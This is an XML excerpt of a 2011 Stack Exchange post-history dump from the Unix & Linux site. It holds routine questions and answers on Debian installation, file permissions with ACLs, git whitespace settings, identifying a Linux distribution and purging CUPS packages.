**OR where the closing brace is the same line**, (with thanks to fred.bear)&#xD;&#xA;&#xD;&#xA;I hope this helps.&#xD;&#xA;&#xD;&#xA;P.S. as you appear to be a new user, if you get an answer that helps you please remember to mark it as accepted, or give it a + (or -) as a useful answer&#xD;&#xA;" />
  <row Id="24664" PostHistoryTypeId="2" PostId="10274" RevisionGUID="c055bfb3-9045-42fe-a7fa-b0ae09e7dba7" CreationDate="2011-03-29T14:24:15.387" UserId="5774" Text="I managed to do it a while back with Debian, here you can download it:&#xD;&#xA;&#xD;&#xA;[ISOs][1] &#xD;&#xA;&#xD;&#xA;and here is the installation manual.&#xD;&#xA;&#xD;&#xA;[Manual][2]&#xD;&#xA;&#xD;&#xA;Notice that some Macs wont boot from an USB device. check your models manual.&#xD;&#xA;&#xD;&#xA;Good luck!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ftp.nl.debian.org/debian/dists/squeeze/main/installer-powerpc/current/images/&#xD;&#xA;  [2]: http://www.debian.org/releases/stable/powerpc/" />
  <row Id="24665" PostHistoryTypeId="5" PostId="5052" RevisionGUID="b04ed2dd-ad86-4f33-80bb-e5d51d6a9e5a" CreationDate="2011-03-29T14:25:32.467" UserId="5765" Comment="Removed unnecessary text" Text="This seems to be a known bug and you can read more detail on [launchpad][1] as well as on [ubuntuforums][2]. The issue is that somehow `gnome-power-manager` and the `xset` commands conflict with each other.&#xD;&#xA;&#xD;&#xA;The solution is to run `xset dpms force off` in a loop, a python [script][3] pretty much works for most of us.&#xD;&#xA;&#xD;&#xA;Give it a try, and see how it goes.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://bugs.launchpad.net/ubuntu/+source/gnome-power-manager/+bug/447728&#xD;&#xA;  [2]: http://ubuntuforums.org/showthread.php?t=1317747&#xD;&#xA;  [3]: http://ubuntuforums.org/showpost.php?p=9433671&amp;postcount=24" />
  <row Id="24666" PostHistoryTypeId="24" PostId="5052" RevisionGUID="b04ed2dd-ad86-4f33-80bb-e5d51d6a9e5a" CreationDate="2011-03-29T14:25:32.467" Comment="Proposed by 5765 approved by 73 edit id of 238" />
  <row Id="24667" PostHistoryTypeId="2" PostId="10275" RevisionGUID="3dc90dc9-ca38-4d10-a40e-9a0911017caa" CreationDate="2011-03-29T14:35:44.193" UserId="3608" Text="When I want to grant access to another user to my file, I use `chmod 777 file`, but if I want to be sure I'm granting permission just for that user, how can I do it?" />
  <row Id="24668" PostHistoryTypeId="1" PostId="10275" RevisionGUID="3dc90dc9-ca38-4d10-a40e-9a0911017caa" CreationDate="2011-03-29T14:35:44.193" UserId="3608" Text="How do I give all the permitions to a file for a single user that's not me?" />
  <row Id="24669" PostHistoryTypeId="3" PostId="10275" RevisionGUID="3dc90dc9-ca38-4d10-a40e-9a0911017caa" CreationDate="2011-03-29T14:35:44.193" UserId="3608" Text="éshellàéshellöscriptàépermissionsàéusersà" />
  <row Id="24670" PostHistoryTypeId="2" PostId="10276" RevisionGUID="7938853a-6b3e-4e46-9ccb-6a9492ce65c3" CreationDate="2011-03-29T14:45:05.883" UserId="5923" Text="You need to find a group that only you and that user is part of, and give correct permission to the group, not the world.&#xD;&#xA;&#xD;&#xA;Could be easier with access control lists, if available." />
  <row Id="24671" PostHistoryTypeId="5" PostId="10253" RevisionGUID="3d9dafaf-8df2-468e-bc0f-4114a60d068b" CreationDate="2011-03-29T14:57:24.327" UserId="916" Comment="Tried to add more explanation" Text="Is there a *nix whose package manager *doesn't* split Python into multiple packages (typically something like `python` and `python-devel`). I'd really like to just get the entire standard library when I install it, since that's how it's designed to work. Thanks.&#xD;&#xA;&#xD;&#xA;UPDATE: Some people are wondering what I mean, so here's an example: https://bugs.launchpad.net/ubuntu/+source/python-defaults/+bug/123755. I realize it's not caused (in this instance) by a `python`/`python-devel` split, but it's the sort of issue I don't want to worry about. I just want to install the entirety of Python—with no weird tweaks of the `ImportError` handler, or std lib modules ripped out (for any reason)—and then let my package manager handle security updates, etc." />
  <row Id="24672" PostHistoryTypeId="2" PostId="10277" RevisionGUID="134b237b-cf5e-401d-8a2f-a5a6d66c17bc" CreationDate="2011-03-29T14:59:59.100" UserId="73" Text="I've found tons of sites that explain how to have git warn you when you're changing line endings, or miscellaneous other techniques to prevent you from messing up an entire file. Assume it's too late for that -- the tree already has commits that toggle the line endings of files, so `git diff` shows the subtraction of the old file followed by the addition of a new file with the same content&#xD;&#xA;&#xD;&#xA;I'm looking for a git configuration option or command-line flag that tells `diff` to just ignore those -- if two lines differ only by whitespace, pretend they're the same. I need this config option/flag to work for anything that relies on file differences -- `diff`, `blame`, even `merge`/`rebase` ideally -- I want `git` to completely ignore trailing whitespace, particularly line endings. How can I do that?" />
  <row Id="24673" PostHistoryTypeId="1" PostId="10277" RevisionGUID="134b237b-cf5e-401d-8a2f-a5a6d66c17bc" CreationDate="2011-03-29T14:59:59.100" UserId="73" Text="Ignore whitespaces changes in all git commands" />
  <row Id="24674" PostHistoryTypeId="3" PostId="10277" RevisionGUID="134b237b-cf5e-401d-8a2f-a5a6d66c17bc" CreationDate="2011-03-29T14:59:59.100" UserId="73" Text="éconfigurationàégitàéwhitespaceà" />
  <row Id="24675" PostHistoryTypeId="25" PostId="10275" RevisionGUID="0bc2944c-a5ad-413f-9266-af4be74c91a3" CreationDate="2011-03-29T15:00:20.800" Comment="http://twitter.com/#!/StackUnix/status/52746921760129025" />
  <row Id="24676" PostHistoryTypeId="5" PostId="10273" RevisionGUID="13a71eb6-1f5b-4976-8c32-6beba97f8e3e" CreationDate="2011-03-29T15:07:18.000" UserId="3389" Comment="deleted 2 characters in body" Text="You are likely going to have to go into each affected programs configuration files and change 'eth1' to 'eth0.'  Such programs defaults are setup when they are installed or first run with the currently detected NICs.  &#xD;&#xA;&#xD;&#xA;I use Linux as a router, and had this issue when using scripts.  I now have a nice script fragment called `netconf` that I source in for any other script whenever i need to use NIC names, this file gives me a central location to specify them (i.e. `LAN_IFACE=eth0`, `WAN_IFACE=eth1`, etc.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24677" PostHistoryTypeId="2" PostId="10278" RevisionGUID="5be7853a-fff5-4c7c-a76e-b75b0ff8a8f1" CreationDate="2011-03-29T15:21:36.567" UserId="4949" Text="If you own the file, `setfacl -m u:otheruser:rwx filename` &#xD;&#xA;&#xD;&#xA;If not, or if your filesystem doesn't support extended acls, I'm afraid you're out of luck." />
  <row Id="24678" PostHistoryTypeId="2" PostId="10279" RevisionGUID="bb1db2b7-f489-4f43-b966-4e712cc3672b" CreationDate="2011-03-29T15:33:47.217" UserId="4600" Text="I would change the screen key binding away from esc to something like ctrl. I have not experienced anything like what you are describing with the default binding in .screenrc in AIX, Fedora, Debian, or Ubuntu." />
  <row Id="24679" PostHistoryTypeId="2" PostId="10280" RevisionGUID="a6c51ae7-713d-4683-bb24-9a7853bb7902" CreationDate="2011-03-29T15:39:19.207" UserId="6145" Text="[pigz][1] is a parallel implementation of gzip, but can only really use multiple processors for compression, not decompression.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.zlib.net/pigz/" />
  <row Id="24680" PostHistoryTypeId="5" PostId="10096" RevisionGUID="83fa426c-3ccf-4531-ab8e-ee2bb4d1e66b" CreationDate="2011-03-29T15:50:36.950" UserId="5646" Comment="added 1 characters in body; added 25 characters in body" Text="Ah, [use the `passwd` program](http://www.linuxquestions.org/questions/linux-newbie-8/change-my-root-password-in-debian-linux-if-i-have-the-current-password-693323/) [as root](http://unix.stackexchange.com/q/3063/250):&#xD;&#xA;&#xD;&#xA;    sudo passwd root&#xD;&#xA;&#xD;&#xA;Or, if you’re running as root already (which you shouldn’t be), just:&#xD;&#xA;&#xD;&#xA;    passwd&#xD;&#xA;&#xD;&#xA;The `root` argument can be omitted, because when you execute `passwd` it defaults to the current user (which is root, as only root can change the root password)." />
  <row Id="24681" PostHistoryTypeId="2" PostId="10281" RevisionGUID="229a0875-2fea-4f57-a1be-e12c234ecdeb" CreationDate="2011-03-29T16:03:13.683" UserId="4812" Text="Given (root) access to a machine with Linux through the command line(over ssh), how can I determine which distribution is actually running on the system?" />
  <row Id="24682" PostHistoryTypeId="1" PostId="10281" RevisionGUID="229a0875-2fea-4f57-a1be-e12c234ecdeb" CreationDate="2011-03-29T16:03:13.683" UserId="4812" Text="How to determine distribution from command line?" />
  <row Id="24683" PostHistoryTypeId="3" PostId="10281" RevisionGUID="229a0875-2fea-4f57-a1be-e12c234ecdeb" CreationDate="2011-03-29T16:03:13.683" UserId="4812" Text="ésshàédistrosà" />
  <row Id="24684" PostHistoryTypeId="2" PostId="10282" RevisionGUID="c1694cb0-5532-4569-97d2-c6450f3067a1" CreationDate="2011-03-29T16:10:26.267" UserId="4671" Text="If the file /etc/debian_version, it is Debian, or a Debian derivative. This file may have a release number; on my machine it is currently 6.0.1. If it is testing or unstable, it may say testing/unstable, or it may have the number of the upcoming release. My impression is that on Ubuntu at least, this file is always testing/unstable, and that they don't put the release number in it, but someone can correct me if I am wrong." />
  <row Id="24685" PostHistoryTypeId="2" PostId="10283" RevisionGUID="7878d2d3-7351-4bd6-b968-d5f12e805661" CreationDate="2011-03-29T16:11:10.260" UserId="5763" Text="Type below command&#xD;&#xA;&#xD;&#xA;&gt; cat /etc/issue" />
  <row Id="24686" PostHistoryTypeId="2" PostId="10284" RevisionGUID="2b4aeb5a-e071-4ad0-b1f9-b1446dc0a09d" CreationDate="2011-03-29T16:15:21.547" UserId="5646" Text="I’ve got a Debian 6 VMWare virtual machine that I run headlessly, and use via SSH.&#xD;&#xA;&#xD;&#xA;Every few minutes, the following message gets printed in my terminal:&#xD;&#xA;&#xD;&#xA;    CUPS config timestamp change detected but old config retrieved via interface!&#xD;&#xA;&#xD;&#xA;For a while, I ignored it. Then, I uninstalled CUPS:&#xD;&#xA;&#xD;&#xA;    $ sudo apt-get remove cups&#xD;&#xA;    $ sudo apt-get autoremove&#xD;&#xA;&#xD;&#xA;and restarted. I’m still getting the message.&#xD;&#xA;&#xD;&#xA;How on earth can I stop it? I’m never, ever going to want to print from this machine." />
  <row Id="24687" PostHistoryTypeId="1" PostId="10284" RevisionGUID="2b4aeb5a-e071-4ad0-b1f9-b1446dc0a09d" CreationDate="2011-03-29T16:15:21.547" UserId="5646" Text="How on earth can I stop this CUPS-related message on my Debian 6 virtual machine?" />
  <row Id="24688" PostHistoryTypeId="3" PostId="10284" RevisionGUID="2b4aeb5a-e071-4ad0-b1f9-b1446dc0a09d" CreationDate="2011-03-29T16:15:21.547" UserId="5646" Text="élinuxàédebianàécupsà" />
  <row Id="24689" PostHistoryTypeId="5" PostId="10282" RevisionGUID="8c3fbd9c-f651-4d77-94b1-4e9b40b1cecf" CreationDate="2011-03-29T16:16:13.203" UserId="4671" Comment="added 87 characters in body" Text="If the file /etc/debian_version, it is Debian, or a Debian derivative. This file may have a release number; on my machine it is currently 6.0.1. If it is testing or unstable, it may say testing/unstable, or it may have the number of the upcoming release. My impression is that on Ubuntu at least, this file is always testing/unstable, and that they don't put the release number in it, but someone can correct me if I am wrong.&#xD;&#xA;&#xD;&#xA;Fedora (recent releases at least), have a similar file, namely /etc/fedora-release." />
  <row Id="24690" PostHistoryTypeId="2" PostId="10285" RevisionGUID="7f338eee-82d4-49ec-b249-3859fdde6ef2" CreationDate="2011-03-29T16:38:34.743" UserId="4671" Text="a) Removing cups doesn't actually remove CUPS.&#xD;&#xA;&#xD;&#xA;b) you want to use `apt-get purge` not remove, probably.&#xD;&#xA;&#xD;&#xA;You want to purge this lot, at a minimum. You can do it with a wildcard or regex, possibly something like `apt-get purge cups*`, but I'm regex illiterate.&#xD;&#xA;&#xD;&#xA;    $ dpkg -l | grep cups&#xD;&#xA;    ii  brhl4070cdw-cups-ppd                 1.0.0-1                              Brother HL-4070CDW CUPS driver&#xD;&#xA;    ii  cups                                 1.4.4-7                              Common UNIX Printing System(tm) - server&#xD;&#xA;    ii  cups-bsd                             1.4.4-7                              Common UNIX Printing System(tm) - BSD commands&#xD;&#xA;    ii  cups-client                          1.4.4-7                              Common UNIX Printing System(tm) - client programs (SysV)&#xD;&#xA;    ii  cups-common                          1.4.4-7                              Common UNIX Printing System(tm) - common files&#xD;&#xA;    ii  cups-pdf                             2.5.0-16                             PDF printer for CUPS&#xD;&#xA;    ii  cups-ppdc                            1.4.4-7                              Common UNIX Printing System(tm) - PPD manipulation utilities&#xD;&#xA;    ii  cupsys                               1.3.8-1+lenny8                       Common UNIX Printing System (transitional package)&#xD;&#xA;    ii  cupsys-bsd                           1.3.8-1+lenny8                       Common UNIX Printing System (transitional package)&#xD;&#xA;    ii  cupsys-client                        1.3.8-1+lenny8                       Common UNIX Printing System (transitional package)&#xD;&#xA;    ii  cupsys-common                        1.3.8-1+lenny8                       Common UNIX Printing System (transitional package)&#xD;&#xA;    ii  libcups2                             1.4.4-7                              Common UNIX Printing System(tm) - Core library&#xD;&#xA;    ii  libcups2-dev                         1.4.4-7                              Common UNIX Printing System(tm) - Development files CUPS library&#xD;&#xA;    ii  libcupscgi1                          1.4.4-7                              Common UNIX Printing System(tm) - CGI library&#xD;&#xA;    ii  libcupsdriver1                       1.4.4-7                              Common UNIX Printing System(tm) - Driver library&#xD;&#xA;    ii  libcupsimage2                        1.4.4-7                              Common UNIX Printing System(tm) - Raster image library&#xD;&#xA;    ii  libcupsmime1                         1.4.4-7                              Common UNIX Printing System(tm) - MIME library&#xD;&#xA;    ii  libcupsppdc1                         1.4.4-7                              Common UNIX Printing System(tm) - PPD manipulation library&#xD;&#xA;    ii  libcupsys2                           1.3.8-1+lenny8                       Common UNIX Printing System (transitional package)&#xD;&#xA;    ii  libcupsys2-dev                       1.3.8-1+lenny8                       Common UNIX Printing System (transitional package)&#xD;&#xA;    ii  libgnomecups1.0-1                    0.2.3-3+b1                           GNOME library for CUPS interaction&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24691" PostHistoryTypeId="5" PostId="10285" RevisionGUID="5306e922-73de-4235-a63e-c71d6e9fb437" CreationDate="2011-03-29T16:45:29.090" UserId="4671" Comment="added 2005 characters in body; added 101 characters in body" Text="a) Removing cups doesn't actually remove CUPS.&#xD;&#xA;&#xD;&#xA;b) you want to use `apt-get purge` not remove, probably.&#xD;&#xA;&#xD;&#xA;You want to purge this lot, at a minimum. You can do it with a wildcard or regex.&#xD;&#xA;&#xD;&#xA;    apt-get purge '^cups'&#xD;&#xA;&#xD;&#xA;seems to delete all packages beginning with cups, but really we want all files containing cups. Regex experts to the rescue, please. :-) See `apt-get purge '^cups'` output below.&#xD;&#xA;&#xD;&#xA;    $ dpkg -l | grep cups&#xD;&#xA;    ii  brhl4070cdw-cups-ppd                 1.0.0-1                              Brother HL-4070CDW CUPS driver&#xD;&#xA;    ii  cups                                 1.4.4-7                              Common UNIX Printing System(tm) - server&#xD;&#xA;    ii  cups-bsd                             1.4.4-7                              Common UNIX Printing System(tm) - BSD commands&#xD;&#xA;    ii  cups-client                          1.4.4-7                              Common UNIX Printing System(tm) - client programs (SysV)&#xD;&#xA;    ii  cups-common                          1.4.4-7                              Common UNIX Printing System(tm) - common files&#xD;&#xA;    ii  cups-pdf                             2.5.0-16                             PDF printer for CUPS&#xD;&#xA;    ii  cups-ppdc                            1.4.4-7                              Common UNIX Printing System(tm) - PPD manipulation utilities&#xD;&#xA;    ii  cupsys                               1.3.8-1+lenny8                       Common UNIX Printing System (transitional package)&#xD;&#xA;    ii  cupsys-bsd                           1.3.8-1+lenny8                       Common UNIX Printing System (transitional package)&#xD;&#xA;    ii  cupsys-client                        1.3.8-1+lenny8                       Common UNIX Printing System (transitional package)&#xD;&#xA;    ii  cupsys-common                        1.3.8-1+lenny8                       Common UNIX Printing System (transitional package)&#xD;&#xA;    ii  libcups2                             1.4.4-7                              Common UNIX Printing System(tm) - Core library&#xD;&#xA;    ii  libcups2-dev                         1.4.4-7                              Common UNIX Printing System(tm) - Development files CUPS library&#xD;&#xA;    ii  libcupscgi1                          1.4.4-7                              Common UNIX Printing System(tm) - CGI library&#xD;&#xA;    ii  libcupsdriver1                       1.4.4-7                              Common UNIX Printing System(tm) - Driver library&#xD;&#xA;    ii  libcupsimage2                        1.4.4-7                              Common UNIX Printing System(tm) - Raster image library&#xD;&#xA;    ii  libcupsmime1                         1.4.4-7                              Common UNIX Printing System(tm) - MIME library&#xD;&#xA;    ii  libcupsppdc1                         1.4.4-7                              Common UNIX Printing System(tm) - PPD manipulation library&#xD;&#xA;    ii  libcupsys2                           1.3.8-1+lenny8                       Common UNIX Printing System (transitional package)&#xD;&#xA;    ii  libcupsys2-dev                       1.3.8-1+lenny8                       Common UNIX Printing System (transitional package)&#xD;&#xA;    ii  libgnomecups1.0-1                    0.2.3-3+b1                           GNOME library for CUPS interaction&#xD;&#xA;&#xD;&#xA;    # apt-get  -s purge '^cups'&#xD;&#xA;    Reading package lists... Done&#xD;&#xA;    Building dependency tree       &#xD;&#xA;    Reading state information... Done&#xD;&#xA;    Note, selecting 'cupsys-client' for regex '^cups'&#xD;&#xA;    Note, selecting 'cups' for regex '^cups'&#xD;&#xA;    Note, selecting 'cups-client' for regex '^cups'&#xD;&#xA;    Note, selecting 'cups-pdf' for regex '^cups'&#xD;&#xA;    Note, selecting 'cups-pk-helper' for regex '^cups'&#xD;&#xA;    Note, selecting 'cups-bsd' for regex '^cups'&#xD;&#xA;    Note, selecting 'cups-common' for regex '^cups'&#xD;&#xA;    Note, selecting 'cups-pt' for regex '^cups'&#xD;&#xA;    Note, selecting 'cups-dbg' for regex '^cups'&#xD;&#xA;    Note, selecting 'cups-ppdc' for regex '^cups'&#xD;&#xA;    Note, selecting 'cupsddk' for regex '^cups'&#xD;&#xA;    Note, selecting 'cups-driver-gutenprint' for regex '^cups'&#xD;&#xA;    Note, selecting 'cupsddk-drivers' for regex '^cups'&#xD;&#xA;    Note, selecting 'cupsomatic-ppd' for regex '^cups'&#xD;&#xA;    Note, selecting 'cupsys-driver-gutenprint' for regex '^cups'&#xD;&#xA;    Note, selecting 'cupsys-bsd' for regex '^cups'&#xD;&#xA;    Note, selecting 'cupsys-common' for regex '^cups'&#xD;&#xA;    Note, selecting 'cupsys' for regex '^cups'&#xD;&#xA;    Note, selecting 'cups' instead of 'cupsddk-drivers'&#xD;&#xA;    Package cups-pk-helper is not installed, so not removed&#xD;&#xA;    Package cups-driver-gutenprint is not installed, so not removed&#xD;&#xA;    Package cups-dbg is not installed, so not removed&#xD;&#xA;    Package cupsddk is not installed, so not removed&#xD;&#xA;    The following packages will be REMOVED:&#xD;&#xA;      cups* cups-bsd* cups-client* cups-common* cups-pdf* cups-ppdc* cupsys* cupsys-bsd* cupsys-client* cupsys-common*&#xD;&#xA;    0 upgraded, 0 newly installed, 10 to remove and 0 not upgraded.&#xD;&#xA;    Purg cupsys [1.3.8-1+lenny8]&#xD;&#xA;    Purg cups-pdf [2.5.0-16]&#xD;&#xA;    Purg cups [1.4.4-7]&#xD;&#xA;    Purg cupsys-bsd [1.3.8-1+lenny8]&#xD;&#xA;    Purg cups-bsd [1.4.4-7]&#xD;&#xA;    Purg cupsys-client [1.3.8-1+lenny8]&#xD;&#xA;    Purg cups-client [1.4.4-7]&#xD;&#xA;    Purg cupsys-common [1.3.8-1+lenny8]&#xD;&#xA;    Purg cups-ppdc [1.4.4-7]&#xD;&#xA;    Purg cups-common [1.4.4-7]&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24692" PostHistoryTypeId="5" PostId="10284" RevisionGUID="cc7b4ab5-ab21-478c-bf07-87110697d8c8" CreationDate="2011-03-29T16:56:15.550" UserId="5646" Comment="added 18 characters in body" Text="I’ve got a Debian 6 VMWare virtual machine that I mostly use via SSH (but occasionally via the GUI).&#xD;&#xA;&#xD;&#xA;Every few minutes, the following message gets printed in my terminal:&#xD;&#xA;&#xD;&#xA;    CUPS config timestamp change detected but old config retrieved via interface!&#xD;&#xA;&#xD;&#xA;For a while, I ignored it. Then, I uninstalled CUPS:&#xD;&#xA;&#xD;&#xA;    $ sudo apt-get remove cups&#xD;&#xA;    $ sudo apt-get autoremove&#xD;&#xA;&#xD;&#xA;and restarted. I’m still getting the message.&#xD;&#xA;&#xD;&#xA;How on earth can I stop it? I’m never, ever going to want to print from this machine." />
  <row Id="24697" PostHistoryTypeId="2" PostId="10287" RevisionGUID="1defec64-84d7-4d7c-9ba5-ca1b8ce4fde7" CreationDate="2011-03-29T13:24:01.263" UserId="4269" Text="Hi,&#xD;&#xA;&#xD;&#xA;I get the following message on the console when every time the Linux kernel boots.&#xD;&#xA;&#xD;&#xA;`pci 0000:00:00.0: BAR 0: can't allocate mem resource [0xc0000000-0xbfffffff]`&#xD;&#xA;&#xD;&#xA;Kindly let me know whether this is an error message. What causes this message?&#xD;&#xA;&#xD;&#xA;I am using Linux 2.6 kernel running on PowerPC (P2020)&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;" />
  <row Id="24698" PostHistoryTypeId="1" PostId="10287" RevisionGUID="1defec64-84d7-4d7c-9ba5-ca1b8ce4fde7" CreationDate="2011-03-29T13:24:01.263" UserId="4269" Text="Message while booting : &quot;pci 0000:00:00.0: BAR 0: can't allocate mem resource [0xc0000000-0xbfffffff]&quot;" />
  <row Id="24699" PostHistoryTypeId="3" PostId="10287" RevisionGUID="1defec64-84d7-4d7c-9ba5-ca1b8ce4fde7" CreationDate="2011-03-29T13:24:01.263" UserId="4269" Text="ébootàépowerpcà" />
  <row Id="24700" PostHistoryTypeId="17" PostId="10287" RevisionGUID="d94c40e9-4f98-4d83-98fd-82f2e7538284" CreationDate="2011-03-29T16:57:30.533" UserId="-1" Comment="from http://stackoverflow.com/questions/5473219/message-while-booting-pci-00000000-0-bar-0-cant-allocate-mem-resource-0x" Text="" />
  <row Id="24701" PostHistoryTypeId="5" PostId="10285" RevisionGUID="a4715586-ecb1-43ba-9793-dbeecb28c54e" CreationDate="2011-03-29T17:08:52.813" UserId="4671" Comment="added 214 characters in body" Text="a) Removing cups doesn't actually remove CUPS.&#xD;&#xA;&#xD;&#xA;b) you want to use `apt-get purge` not remove, probably.&#xD;&#xA;&#xD;&#xA;You want to purge this lot, at a minimum. You can do it with a wildcard or regex.&#xD;&#xA;&#xD;&#xA;    apt-get purge '^cups'&#xD;&#xA;&#xD;&#xA;seems to delete all packages beginning with cups, but really we want all files containing cups. Regex experts to the rescue, please. :-) See `apt-get purge '^cups'` output below.&#xD;&#xA;&#xD;&#xA;(UPDATE: Per Paul's comments below, GNOME apparently insists on having some CUPs libraries installed, so I suggested he just remove frontend stuff, so in fact maybe he really does want `apt-get purge '^cups'`).&#xD;&#xA;&#xD;&#xA;    $ dpkg -l | grep cups&#xD;&#xA;    ii  brhl4070cdw-cups-ppd                 1.0.0-1                              Brother HL-4070CDW CUPS driver&#xD;&#xA;    ii  cups                                 1.4.4-7                              Common UNIX Printing System(tm) - server&#xD;&#xA;    ii  cups-bsd                             1.4.4-7                              Common UNIX Printing System(tm) - BSD commands&#xD;&#xA;    ii  cups-client                          1.4.4-7                              Common UNIX Printing System(tm) - client programs (SysV)&#xD;&#xA;    ii  cups-common                          1.4.4-7                              Common UNIX Printing System(tm) - common files&#xD;&#xA;    ii  cups-pdf                             2.5.0-16                             PDF printer for CUPS&#xD;&#xA;    ii  cups-ppdc                            1.4.4-7                              Common UNIX Printing System(tm) - PPD manipulation utilities&#xD;&#xA;    ii  cupsys                               1.3.8-1+lenny8                       Common UNIX Printing System (transitional package)&#xD;&#xA;    ii  cupsys-bsd                           1.3.8-1+lenny8                       Common UNIX Printing System (transitional package)&#xD;&#xA;    ii  cupsys-client                        1.3.8-1+lenny8                       Common UNIX Printing System (transitional package)&#xD;&#xA;    ii  cupsys-common                        1.3.8-1+lenny8                       Common UNIX Printing System (transitional package)&#xD;&#xA;    ii  libcups2                             1.4.4-7                              Common UNIX Printing System(tm) - Core library&#xD;&#xA;    ii  libcups2-dev                         1.4.4-7                              Common UNIX Printing System(tm) - Development files CUPS library&#xD;&#xA;    ii  libcupscgi1                          1.4.4-7                              Common UNIX Printing System(tm) - CGI library&#xD;&#xA;    ii  libcupsdriver1                       1.4.4-7                              Common UNIX Printing System(tm) - Driver library&#xD;&#xA;    ii  libcupsimage2                        1.4.4-7                              Common UNIX Printing System(tm) - Raster image library&#xD;&#xA;    ii  libcupsmime1                         1.4.4-7                              Common UNIX Printing System(tm) - MIME library&#xD;&#xA;    ii  libcupsppdc1                         1.4.4-7                              Common UNIX Printing System(tm) - PPD manipulation library&#xD;&#xA;    ii  libcupsys2                           1.3.8-1+lenny8                       Common UNIX Printing System (transitional package)&#xD;&#xA;    ii  libcupsys2-dev                       1.3.8-1+lenny8                       Common UNIX Printing System (transitional package)&#xD;&#xA;    ii  libgnomecups1.0-1                    0.2.3-3+b1                           GNOME library for CUPS interaction&#xD;&#xA;&#xD;&#xA;    # apt-get  -s purge '^cups'&#xD;&#xA;    Reading package lists... Done&#xD;&#xA;    Building dependency tree       &#xD;&#xA;    Reading state information... Done&#xD;&#xA;    Note, selecting 'cupsys-client' for regex '^cups'&#xD;&#xA;    Note, selecting 'cups' for regex '^cups'&#xD;&#xA;    Note, selecting 'cups-client' for regex '^cups'&#xD;&#xA;    Note, selecting 'cups-pdf' for regex '^cups'&#xD;&#xA;    Note, selecting 'cups-pk-helper' for regex '^cups'&#xD;&#xA;    Note, selecting 'cups-bsd' for regex '^cups'&#xD;&#xA;    Note, selecting 'cups-common' for regex '^cups'&#xD;&#xA;    Note, selecting 'cups-pt' for regex '^cups'&#xD;&#xA;    Note, selecting 'cups-dbg' for regex '^cups'&#xD;&#xA;    Note, selecting 'cups-ppdc' for regex '^cups'&#xD;&#xA;    Note, selecting 'cupsddk' for regex '^cups'&#xD;&#xA;    Note, selecting 'cups-driver-gutenprint' for regex '^cups'&#xD;&#xA;    Note, selecting 'cupsddk-drivers' for regex '^cups'&#xD;&#xA;    Note, selecting 'cupsomatic-ppd' for regex '^cups'&#xD;&#xA;    Note, selecting 'cupsys-driver-gutenprint' for regex '^cups'&#xD;&#xA;    Note, selecting 'cupsys-bsd' for regex '^cups'&#xD;&#xA;    Note, selecting 'cupsys-common' for regex '^cups'&#xD;&#xA;    Note, selecting 'cupsys' for regex '^cups'&#xD;&#xA;    Note, selecting 'cups' instead of 'cupsddk-drivers'&#xD;&#xA;    Package cups-pk-helper is not installed, so not removed&#xD;&#xA;    Package cups-driver-gutenprint is not installed, so not removed&#xD;&#xA;    Package cups-dbg is not installed, so not removed&#xD;&#xA;    Package cupsddk is not installed, so not removed&#xD;&#xA;    The following packages will be REMOVED:&#xD;&#xA;      cups* cups-bsd* cups-client* cups-common* cups-pdf* cups-ppdc* cupsys* cupsys-bsd* cupsys-client* cupsys-common*&#xD;&#xA;    0 upgraded, 0 newly installed, 10 to remove and 0 not upgraded.&#xD;&#xA;    Purg cupsys [1.3.8-1+lenny8]&#xD;&#xA;    Purg cups-pdf [2.5.0-16]&#xD;&#xA;    Purg cups [1.4.4-7]&#xD;&#xA;    Purg cupsys-bsd [1.3.8-1+lenny8]&#xD;&#xA;    Purg cups-bsd [1.4.4-7]&#xD;&#xA;    Purg cupsys-client [1.3.8-1+lenny8]&#xD;&#xA;    Purg cups-client [1.4.4-7]&#xD;&#xA;    Purg cupsys-common [1.3.8-1+lenny8]&#xD;&#xA;    Purg cups-ppdc [1.4.4-7]&#xD;&#xA;    Purg cups-common [1.4.4-7]&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24702" PostHistoryTypeId="4" PostId="10275" RevisionGUID="6d9f4040-4cc0-4844-be9f-8868790341f7" CreationDate="2011-03-29T17:15:24.303" UserId="1170" Comment="fixed typo" Text="How do I give all the permissions to a file for a single user that's not me?" />
  <row Id="24703" PostHistoryTypeId="24" PostId="10275" RevisionGUID="6d9f4040-4cc0-4844-be9f-8868790341f7" CreationDate="2011-03-29T17:15:24.303" Comment="Proposed by 1170 approved by 3608 edit id of 239" />
  <row Id="24704" PostHistoryTypeId="5" PostId="10275" RevisionGUID="a0ddef2e-d6a6-47ff-8254-41e548fefc01" CreationDate="2011-03-29T17:26:33.283" UserId="3608" Comment="added 571 characters in body" Text="When I want to grant access to another user to my file, I use `chmod 777 file`, but if I want to be sure I'm granting permission just for that user, how can I do it?&#xD;&#xA;&#xD;&#xA;**-- update**&#xD;&#xA;&#xD;&#xA;The file is owned by &quot;root&quot;, so it's mine if I access it with `sudo`, I suppose (or maybe I'm confused.. please correct me).&#xD;&#xA;&#xD;&#xA;I want to share a folder called `/Data` in the root. The other user I want to share it is the root of an embedded system, which I'm accessing with telnet and NFS.&#xD;&#xA;&#xD;&#xA;The files inside `/Data` are generated by me, and every time I generate them, I have to use the command `chmod 777 /Data` so I can access them from the embedded system.&#xD;&#xA;&#xD;&#xA;I'm using Ubuntu in my computer, and a compiled-here-linux in the embedded system.&#xD;&#xA;" />
  <row Id="24705" PostHistoryTypeId="2" PostId="10288" RevisionGUID="882acf6d-2e86-44c2-9e6e-d4ea893d6584" CreationDate="2011-03-29T17:31:27.730" UserId="5661" Text="`lsb_release -a`. Works on Debian and I guess Ubuntu, but I'm not sure about the rest. Normally it should exist in all GNU/Linux distributions since it is LSB (Linux Standard Base) related." />
